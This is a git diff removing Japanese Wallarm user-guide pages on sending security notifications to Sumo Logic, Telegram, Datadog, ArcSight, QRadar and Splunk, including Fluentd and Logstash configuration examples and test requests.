Source Address (URL)の値を**HTTP Source Address (URL)**フィールドに貼り付けます。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Sumo Logicインテグレーション](../../../images/user-guides/settings/integrations/add-sumologic-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. 構成が正しいか、Wallarm Cloudの可用性、および通知形式を確認するには、**Test integration**をクリックします。 - - Sumo Logic通知のテスト： - - ```json - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ``` - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可とインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/telegram.md b/docs/latest-ja/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 3f7bb119be..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1,55 +0,0 @@ -# Telegram - -[Telegram](https://telegram.org/)はクラウドベースのインスタントメッセージングプラットフォーム兼ソーシャルメディアアプリケーションです。WallarmからTelegramへ定期レポートおよびインスタント通知を送信するように設定できます。 - -定期レポートは日次・週次・月次のいずれかで送信できます。レポートには、選択した期間にお使いのシステムで検出された脆弱性、攻撃、インシデントに関する詳細情報が含まれます。通知には、トリガーされたイベントの概要が含まれます。 - -## 連携の設定 - -1. **Integrations**セクションを開きます。 -1. **Telegram**ブロックをクリックするか、**Add integration**ボタンをクリックして**Telegram**を選択します。 -1. Wallarmの通知を受信するTelegramグループに[@WallarmUSBot](https://t.me/WallarmUSBot)（Wallarm US Cloudを使用している場合）または[@WallarmBot](https://t.me/WallarmBot)（Wallarm EU Cloudを使用している場合）を追加し、認証用リンクを開きます。 -1. Wallarm UIにリダイレクトされたら、ボットを認証します。 -1. 連携名を入力します。 -1. セキュリティレポートの送信頻度を選択します。頻度を選択しない場合、レポートは送信されません。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Telegram連携](../../../images/user-guides/settings/integrations/add-telegram-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/events-for-integrations.md" - - Telegramとの連携は、この連携が既に作成されている場合にのみテストできます。 - -1. **Add integration**をクリックします。 -1. 作成したintegrationのカードを再度開きます。 -1. 構成が正しいこと、Wallarm Cloudが利用可能であること、および通知のフォーマットを確認するために**Test integration**をクリックします。 - - これにより、プレフィックス`[Test message]`付きのテスト通知が送信されます： - - ``` - [Test message] [Test partner] ネットワークペリメータが変更されました - - 通知タイプ: new_scope_object_ips - - ネットワークペリメータで新しいIPアドレスが検出されました: - 8.8.8.8 - - クライアント: TestCompany - クラウド: EU - ``` - -[@WallarmUSBot](https://t.me/WallarmUSBot)または[@WallarmBot](https://t.me/WallarmBot)とのチャットを直接開始することもできます。ボットはレポートや通知も送信します。 - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup-limited.md" - -## 連携の無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および連携パラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index 5304264feb..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1,118 +0,0 @@ -# Fluentd経由のMicro Focus ArcSight Logger - -本手順では、WallarmをFluentdデータコレクターと連携し、イベントをArcSight Loggerシステムへ転送するための統合例を示します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhookのフロー](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-scheme.png) - -!!! info "ArcSight ESMのEnterprise版との連携" - FluentdからArcSight ESMのEnterprise版へログを転送するには、ArcSight側でSyslog Connectorを設定し、そのコネクターのポートへFluentdからログを転送する構成を推奨します。コネクターの詳細については、[公式のArcSight SmartConnectorドキュメント](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs)から**SmartConnector User Guide**をダウンロードしてください。 - -## 使用リソース - -* CentOS 7.8にインストールされた[ArcSight Logger 7.1](#arcsight-logger-configuration)（WEB URL: `https://192.168.1.73:443`） -* Debian 11.x（bullseye）にインストールされ、`https://fluentd-example-domain.com`で利用可能な[Fluentd](#fluentd-configuration) -* [Fluentd統合の設定](#configuration-of-fluentd-integration)を行うための[EU cloud](https://my.wallarm.com)のWallarm Consoleへの管理者アクセス - ---8<-- "../include/cloud-ip-by-request.md" - -ArcSight LoggerおよびFluentdサービスへのリンクは例として記載しているため、応答しません。 - -### ArcSight Loggerの設定 {#arcsight-logger-configuration} - -ArcSight Loggerには、ログ受信設定`Wallarm Fluentd logs`が次のとおり構成されています。 - -* ログはUDPで受信します（Type = UDP Receiver） -* 待ち受けポートは`514`です -* イベントはsyslogパーサーで解析します -* その他はデフォルト設定です - -![ArcSight Loggerの受信設定](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-setup.png) - -受信設定の詳細は、[公式のArcSight Loggerドキュメント](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc)から該当バージョンの**Logger Installation Guide**をダウンロードしてください。 - -### Fluentdの設定 {#fluentd-configuration} - -Wallarmはwebhook経由で中間データコレクターであるFluentdにログを送信するため、Fluentdの設定は次の要件を満たす必要があります。 - -* POSTまたはPUTリクエストを受け付けること -* HTTPSリクエストを受け付けること -* 公開URLを持つこと -* ログをArcSight Loggerへ転送すること。本例では転送に`remote_syslog`プラグインを使用します - -Fluentdは`td-agent.conf`ファイルで設定します。 - -* 受信webhookの処理は`source`ディレクティブで設定します: - * トラフィックはポート`9880`に送信されます - * FluentdはHTTPS接続のみを受け付けるように設定されています - * 公的に信頼されたCAが署名したFluentdのTLS証明書は`/etc/ssl/certs/fluentd.crt`にあります - * TLS証明書の秘密鍵は`/etc/ssl/private/fluentd.key`にあります -* ArcSight Loggerへの転送とログ出力は`match`ディレクティブで設定します: - * すべてのイベントログがFluentdからコピーされ、IPアドレス`https://192.168.1.73:514`のArcSight Loggerへ転送されます - * ログは[Syslog](https://en.wikipedia.org/wiki/Syslog)標準に従いJSON形式でFluentdからArcSight Loggerへ転送されます - * ArcSight Loggerとの接続はUDPで確立されます - * FluentdのログはJSON形式でコマンドラインにも出力されます（コードの19〜22行目）。この設定は、イベントがFluentd経由で記録されていることを検証するためのものです - -```bash linenums="1" - - @type http # HTTP/HTTPSトラフィック用の入力プラグイン - port 9880 # 受信リクエストのポート - # 接続処理の設定 - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # FluentdからSyslog経由でログを転送する出力プラグイン - host 192.168.1.73 # 転送先のIPアドレス - port 514 # 転送先ポート - protocol udp # 接続プロトコル - - @type json # 転送されるログの形式 - - - - @type stdout # コマンドラインにFluentdのログを出力するための出力プラグイン - output_type json # コマンドラインに出力されるログの形式 - - -``` - -設定ファイルの詳細は[公式のFluentdドキュメント](https://docs.fluentd.org/configuration/config-file)にあります。 - -!!! info "Fluentd設定のテスト" - Fluentdでログが作成されArcSight Loggerへ転送されることを確認するには、FluentdにPUTまたはPOSTリクエストを送信できます。 - - **リクエスト例:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentdのログ:** - ![Fluentdのログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-curl-log.png) - - **ArcSight Loggerのイベント:** - ![ArcSight Loggerのログ](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-curl-log.png) - -### Fluentd統合の設定 {#configuration-of-fluentd-integration} - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![FluentdとのWebhook統合](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentd統合設定の詳細](../fluentd.md) - -## テスト例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentdはイベントを次のように記録します。 - -![新規ユーザーに関するFluentdのログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-user-log.png) - -ArcSight Loggerのイベントには次のエントリが表示されます。 - -![ArcSight Loggerのイベント](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index 3f19c63828..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1,175 +0,0 @@ -# Fluentd/Logstash経由のDatadog連携 - -FluentdまたはLogstashの中間データコレクターを介して、検出されたイベントの通知をDatadogへ送信するようにWallarmを設定できます。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![データコレクター経由でWallarmからDatadogへ通知を送信](../../../../images/user-guides/settings/integrations/wallarm-log-collector-datadog.png) - -!!! info "Datadogとのネイティブ連携" - Wallarmは[Datadog APIを介したDatadogのネイティブ連携](../datadog.md)にも対応しています。ネイティブ連携では中間データコレクターを使用する必要はありません。 - -## 使用するリソース - -* 公開URLで到達可能なFluentdまたはLogstashサービスが必要です -* 公開URLで到達可能なDatadogサービスが必要です -* Wallarm Console（[EU cloud](https://my.wallarm.com)）への管理者アクセス権（[Fluentd/Logstash連携を構成](#setting-up-integration-with-fluentd-or-logstash)するために必要）が必要です - ---8<-- "../include/cloud-ip-by-request.md" - -## 要件 - -WallarmはWebhook経由で中間データコレクターにログを送信します。そのため、FluentdまたはLogstashの設定は次の要件を満たす必要があります。 - -* POSTまたはPUTリクエストを受け付ける必要があります -* HTTPSリクエストを受け付ける必要があります -* 公開URLを持っている必要があります -* `datadog_logs` Logstashプラグインまたは`fluent-plugin-datadog` Fluentdプラグインを介してDatadogへログを転送する必要があります - -=== "Logstashの設定例" - 1. Datadogへログを転送するために、[`datadog_logs`プラグインをインストール](https://github.com/DataDog/logstash-output-datadog_logs#how-to-install-it)します。 - 1. Logstashが受信リクエストを読み取り、Datadogへログを転送するように構成します。 - - 設定ファイル`logstash-sample.conf`の例: - - ```bash linenums="1" - input { - http { # HTTPおよびHTTPSトラフィック用のinputプラグイン - port => 5044 # 受信リクエストのポート - ssl => true # HTTPSトラフィックの処理 - ssl_certificate => "/etc/server.crt" # LogstashのTLS証明書 - ssl_key => "/etc/server.key" # TLS証明書の秘密鍵 - } - } - filter { - mutate { - add_field => { - "ddsource" => "wallarm" # Wallarmログを後続でフィルタリングできるよう、Datadogのログレコードにsourceフィールドを追加するmutateフィルター - } - } - } - output { - stdout {} # コマンドラインにLogstashのログを表示するoutputプラグイン - datadog_logs { # LogstashのログをDatadogへ転送するoutputプラグイン - api_key => "XXXX" # Datadogの組織で生成したAPIキー - host => "http-intake.logs.datadoghq.eu" # Datadogのエンドポイント（登録リージョンに依存） - } - } - ``` - - * [Logstashの設定ファイル構造に関するドキュメント](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) - * [`datadog_logs`プラグインに関するドキュメント](https://docs.datadoghq.com/integrations/logstash/) -=== "Fluentdの設定例" - 1. Datadogへログを転送するために、[`fluent-plugin-datadog`プラグインをインストール](https://github.com/DataDog/fluent-plugin-datadog#pre-requirements)します。 - 1. Fluentdが受信リクエストを読み取り、Datadogへログを転送するように構成します。 - - 設定ファイル`td-agent.conf`の例: - - ```bash linenums="1" - - @type http # HTTPおよびHTTPSトラフィック用のinputプラグイン - port 9880 # 受信リクエストのポート - # 接続処理のための設定 - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type datadog # FluentdからDatadogへログを転送するoutputプラグイン - @id awesome_agent - api_key XXXX # Datadogの組織で生成したAPIキー - host 'http-intake.logs.datadoghq.eu' # Datadogのエンドポイント（登録リージョンに依存） - - # 任意 - include_tag_key true - tag_key 'tag' - - # 任意のタグ - dd_source 'wallarm' # Wallarmログを後続でフィルタリングできるよう、Datadogのログレコードにsourceフィールドを追加 - dd_tags 'integration:fluentd' - - - @type memory - flush_thread_count 4 - flush_interval 3s - chunk_limit_size 5m - chunk_limit_records 500 - - - ``` - - * [Fluentdの設定ファイル構造に関するドキュメント](https://docs.fluentd.org/configuration/config-file) - * [`fluent-plugin-datadog`プラグインに関するドキュメント](https://docs.datadoghq.com/integrations/fluentd) - -## FluentdまたはLogstashとの連携の設定 - -1. Wallarm Console → **Integrations** → **Fluentd**/**Logstash**でDatadog連携の設定に進みます。 -1. 連携名を入力します。 -1. 対象のFluentdまたはLogstashのURL（Webhook URL）を指定します。 -1. 必要に応じて、高度な設定を構成します: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. 指定したURLへの通知送信をトリガーするイベントタイプを選択します。イベントを選択しない場合、通知は送信されません。 -1. [連携をテスト](#testing-integration)して、設定が正しいことを確認します。 -1. **Add integration**をクリックします。 - -Fluentd連携の例: - -![Fluentdとの連携の追加](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -## 連携のテスト - ---8<-- "../include/integrations/test-integration-advanced-data.md" - -FluentdまたはLogstashの中間データコレクターにおけるテストログ: - -```json -[ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } -] -``` - -Datadogのテストログ: - -![Datadogのテストログ](../../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - -他のレコードの中からWallarmのログを見つけるには、DatadogのLogsサービスで`source:wallarm_cloud`検索タグを使用できます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index 44b99cd85b..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1,120 +0,0 @@ -# Fluentd経由でのIBM QRadar - -本手順では、WallarmをデータコレクターFluentdと統合し、イベントをQRadar SIEMシステムへ転送するための統合例を示します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhookのフロー](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -## 使用リソース - -* [Fluentd](#fluentd-configuration) がDebian 11.x（bullseye）にインストールされ、`https://fluentd-example-domain.com`で利用可能です -* [QRadar V7.3.3](#qradar-configuration-optional) がLinux Red Hatにインストールされ、IPアドレス `https://109.111.35.11:514` で利用可能です -* [Fluentdインテグレーションを設定する](#configuration-of-fluentd-integration)ための[EUクラウド](https://my.wallarm.com)のWallarm Consoleへの管理者アクセス - ---8<-- "../include/cloud-ip-by-request.md" - -FluentdおよびQRadarサービスへのリンクは例として記載しているため、応答しません。 - -### Fluentdの設定 {#fluentd-configuration} - -WallarmはWebhookを介して中間データコレクターFluentdにログを送信するため、Fluentdの設定は次の要件を満たす必要があります: - -* POSTまたはPUTリクエストを受け付ける必要があります -* HTTPSリクエストを受け付ける必要があります -* 公開URLで到達可能である必要があります -* ログをIBM QRadarへ転送する必要があります。この例ではログ転送に`remote_syslog`プラグインを使用します - -Fluentdは`td-agent.conf`ファイルで設定します: - -* 受信Webhookの処理は`source`ディレクティブで設定します: - * トラフィックはポート9880に送信されます - * FluentdはHTTPS接続のみを受け付けるように設定します - * 公開信頼されたCAで署名されたFluentdのTLS証明書は`/etc/ssl/certs/fluentd.crt`にあります - * TLS証明書の秘密鍵は`/etc/ssl/private/fluentd.key`にあります -* QRadarへのログ転送とログ出力は`match`ディレクティブで設定します: - * すべてのイベントログがFluentdからコピーされ、IPアドレス `https://109.111.35.11:514` のQRadarへ転送されます - * ログは[Syslog](https://en.wikipedia.org/wiki/Syslog)標準に従ってJSON形式でFluentdからQRadarへ転送されます - * QRadarとの接続はTCPで確立します - * Fluentdのログは追加でコマンドラインにJSON形式で出力します（コード19～22行）。この設定は、イベントがFluentd経由で記録されていることを確認するために使用します - -```bash linenums="1" - - @type http # HTTP/HTTPSトラフィック用の入力プラグイン - port 9880 # 受信リクエスト用ポート - # 接続処理の設定 - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type remote_syslog # Syslog経由でFluentdからログを転送するための出力プラグイン - host 109.111.35.11 # ログの転送先IPアドレス - port 514 # ログの転送先ポート - protocol tcp # 接続プロトコル - - @type json # 転送するログの形式 - - - - @type stdout # Fluentdのログをコマンドラインに出力するための出力プラグイン - output_type json # コマンドラインに出力するログの形式 - - -``` - -設定ファイルのより詳細な説明は[Fluentdの公式ドキュメント](https://docs.fluentd.org/configuration/config-file)にあります。 - -!!! info "Fluentd設定のテスト" - Fluentdのログが作成されQRadarに転送されることを確認するために、FluentdへPUTまたはPOSTリクエストを送信できます。 - - **リクエスト例:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentdのログ:** - ![Fluentdのログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-curl-log.png) - - **QRadarのログ:** - ![QRadarのログ](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log.png) - - **QRadarのログペイロード:** - ![QRadarのログ](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-curl-log-payload.png) - -### QRadarの設定（任意） {#qradar-configuration-optional} - -QRadarではログソースを設定します。これにより、QRadar内のすべてのログ一覧からFluentdのログを容易に見つけられ、さらにログのフィルタリングにも使用できます。ログソースの設定は以下のとおりです: - -* **Log Source Name**: `Fluentd` -* **Log Source Description**: `Logs from Fluentd` -* **Log Source Type**: Syslog標準で使用する受信ログのパーサータイプ `Universal LEEF` -* **Protocol Configuration**: ログ転送の標準 `Syslog` -* **Log Source Identifier**: FluentdのIPアドレス -* その他の設定はデフォルト - -QRadarのログソース設定のより詳細な説明は[IBMの公式ドキュメント](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf)にあります。 - -![Fluentd用のQRadarログソース設定](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-setup.png) - -### Fluentdインテグレーションの設定 {#configuration-of-fluentd-integration} - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![FluentdとのWebhookインテグレーション](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentdインテグレーションの設定の詳細](../fluentd.md) - -## テスト例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentdはイベントを次のように記録します: - -![FluentdからQRadarへの新規ユーザーに関するログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-user-log.png) - -QRadarのログペイロードには、次のJSON形式のデータが表示されます: - -![Fluentdからの新規ユーザーカード（QRadar）](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/fluentd-user.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index fef529eeee..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1,116 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Fluentd経由のSplunk Enterprise - -本書では、WallarmをデータコレクターのFluentdと連携し、イベントをSplunk SIEMシステムへ転送するためのインテグレーション例を示します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhookのフロー](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-scheme.png) - -## 使用リソース - -* WEB URL `https://109.111.35.11:8000` とAPI URL `https://109.111.35.11:8088` を持つ[Splunk Enterprise](#splunk-enterprise-configuration)を使用します -* Debian 11.x (bullseye)にインストールされ、`https://fluentd-example-domain.com`で利用可能な[Fluentd](#fluentd-configuration)を使用します -* [EUクラウド](https://my.wallarm.com)のWallarm Consoleへの管理者アクセスを使用して、[Fluentdインテグレーションを構成します](#configuration-of-fluentd-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -Splunk EnterpriseおよびFluentdサービスへのリンクはサンプルとして記載しているため、応答しません。 - -### Splunk Enterpriseの構成 {#splunk-enterprise-configuration} - -Fluentdのログは、名前を`Wallarm Fluentd logs`とし、その他のデフォルト設定でSplunk HTTP Event Controllerへ送信します: - -![HTTP Event Collectorの設定](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-setup.png) - -HTTP Event Controllerへのアクセスには、生成されたトークン`f44b3179-91aa-44f5-a6f7-202265e10475`を使用します。 - -Splunk HTTP Event Controllerの設定の詳細は[Splunk公式ドキュメント](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector)にあります。 - -### Fluentdの構成 {#fluentd-configuration} - -WallarmはWebhook経由で中間のデータコレクターであるFluentdへログを送信するため、Fluentdの構成は次の要件を満たす必要があります: - -* POSTまたはPUTリクエストを受け付けます -* HTTPSリクエストを受け付けます -* 公開URLでアクセス可能です -* ログをSplunk Enterpriseへ転送します。この例では、ログ転送に`splunk_hec`プラグインを使用します - -Fluentdは`td-agent.conf`ファイルで次のように構成します: - -* 受信Webhookの処理は`source`ディレクティブで設定します: - * トラフィックはポート9880へ送信します - * FluentdはHTTPS接続のみを受け付けるように構成します - * 公的に信頼されたCAが署名したFluentdのTLS証明書は`/etc/ssl/certs/fluentd.crt`に配置します - * TLS証明書の秘密鍵は`/etc/ssl/private/fluentd.key`に配置します -* ログのSplunkへの転送とログ出力は`match`ディレクティブで設定します: - * すべてのイベントログをFluentdからコピーし、出力プラグイン[fluent-plugin-splunk-hec](https://github.com/splunk/fluent-plugin-splunk-hec)経由でSplunk HTTP Event Controllerへ転送します - * Fluentdのログは、追加でコマンドラインにJSON形式で出力します（コードの19〜22行目）。この設定は、イベントがFluentd経由で記録されていることを検証するために使用します - -```bash linenums="1" - - @type http # HTTPおよびHTTPSトラフィック用の入力プラグインです - port 9880 # 受信リクエスト用のポートです - # 接続処理のための設定です - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type splunk_hec # HTTP Event Controller経由でSplunk APIへログを転送するための出力プラグインfluent-plugin-splunk-hecです - hec_host 109.111.35.11 # Splunkホストです - hec_port 8088 # Splunk APIポートです - hec_token f44b3179-91aa-44f5-a6f7-202265e10475 # HTTP Event Controllerトークンです - - @type json # 転送されるログのフォーマットです - - - - @type stdout # コマンドラインにFluentdログを出力するための出力プラグインです - output_type json # コマンドラインに出力されるログのフォーマットです - - -``` - -設定ファイルのより詳細な説明は[Fluentdの公式ドキュメント](https://docs.fluentd.org/configuration/config-file)にあります。 - -!!! info "Fluentdの構成のテスト" - Fluentdのログが作成されSplunkへ転送されていることを確認するには、FluentdにPUTまたはPOSTリクエストを送信できます。 - - **リクエスト例:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk f44b3179-91aa-44f5-a6f7-202265e10475" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentdのログ:** - ![Fluentdのログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-curl-log.png) - - **Splunkのログ:** - ![Splunkのログ](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-curl-log.png) - -### Fluentdインテグレーションの構成 {#configuration-of-fluentd-integration} - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![FluentdとのWebhookインテグレーション](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentdインテグレーションの構成の詳細](../fluentd.md) - -## テスト例 - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentdはイベントを次のように記録します: - -![FluentdからSplunkへの新規ユーザーログ](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-user-log.png) - -Splunkのイベントに以下のエントリが表示されます: - -![FluentdからSplunkに表示される新規ユーザーのカード](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-user.png) - -## Splunk Enterpriseでイベントをダッシュボードに整理して表示する - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index db9beed524..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1,111 +0,0 @@ -# Logstash経由のMicro Focus ArcSight Logger - -本手順では、WallarmとLogstashデータコレクタのインテグレーション例を示し、その後ArcSight Loggerシステムへイベントを転送します。 - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook flow](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-scheme.png) - -!!! info "ArcSight ESMのEnterprise版とのインテグレーション" - LogstashからArcSight ESMのEnterprise版へログを転送するには、ArcSight側でSyslog Connectorを設定し、その後Logstashから当該コネクタのポートへログを転送することを推奨します。コネクタの詳細な説明については、[公式のArcSight SmartConnectorドキュメント](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs)から**SmartConnector User Guide**をダウンロードしてください。 - -## 使用リソース - -* [ArcSight Logger 7.1](#arcsight-logger-configuration)（CentOS 7.8にインストール、WEB URLは`https://192.168.1.73:443`） -* [Logstash 7.7.0](#logstash-configuration)（Debian 11.x (bullseye)にインストール、`https://logstash.example.domain.com`で利用可能） -* [EUクラウド](https://my.wallarm.com)のWallarm Consoleへの管理者アクセス権（[Logstashインテグレーションを設定](#configuration-of-logstash-integration)するため） - ---8<-- "../include/cloud-ip-by-request.md" - -ArcSight LoggerおよびLogstashサービスへのリンクは例示ですので、応答しません。 - -### ArcSight Loggerの設定 - -ArcSight Loggerには、ログレシーバー`Wallarm Logstash logs`が次のとおり設定されています: - -* ログはUDPで受信します（`Type = UDP Receiver`） -* 待受ポートは`514`です -* イベントはsyslogパーサーで解析します -* その他はデフォルト設定です - -![ArcSight Loggerのレシーバー設定](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-setup.png) - -レシーバー設定の詳細については、[公式のArcSight Loggerドキュメント](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc)から該当バージョンの**Logger Installation Guide**をダウンロードしてください。 - -### Logstashの設定 - -Wallarmはwebhookを介して中間のデータコレクタであるLogstashへログを送信しますので、Logstashの設定は次の要件を満たす必要があります。 - -* POSTまたはPUTリクエストを受け付けます -* HTTPSリクエストを受け付けます -* 公開URLを持ちます -* ArcSight Loggerへログを転送します。本例ではログ転送に`syslog`プラグインを使用します - -Logstashは`logstash-sample.conf`ファイルで設定します。 - -* `input`セクションで着信webhookの処理を設定します: - * トラフィックはポート5044に送られます - * LogstashはHTTPS接続のみを受け付けるように設定します - * 公開信頼CAにより署名されたLogstashのTLS証明書は`/etc/server.crt`に配置します - * TLS証明書の秘密鍵は`/etc/server.key`に配置します -* `output`セクションでArcSight Loggerへの転送とログ出力を設定します: - * すべてのイベントログはLogstashからArcSight LoggerのIPアドレス`https://192.168.1.73:514`へ転送します - * ログは[Syslog](https://en.wikipedia.org/wiki/Syslog)標準に従い、JSON形式でLogstashからArcSight Loggerへ転送します - * ArcSight Loggerとの接続はUDPで確立します - * Logstashログは追加でコマンドラインにも出力されます（コード15行目）。この設定は、イベントがLogstash経由で記録されることを確認するために使用します - -```bash linenums="1" -input { - http { # HTTPおよびHTTPSトラフィック用inputプラグイン - port => 5044 # 受信リクエスト用ポート - ssl => true # HTTPSトラフィック処理 - ssl_certificate => "/etc/server.crt" # LogstashのTLS証明書 - ssl_key => "/etc/server.key" # TLS証明書の秘密鍵 - } -} -output { - syslog { # Syslog経由でLogstashからのログ転送用outputプラグイン - host => "192.168.1.73" # 転送先IPアドレス - port => "514" # 転送先ポート - protocol => "udp" # 接続プロトコル - codec => json # 転送ログの形式 - } - stdout {} # コマンドラインへのLogstashログ出力用outputプラグイン -} -``` - 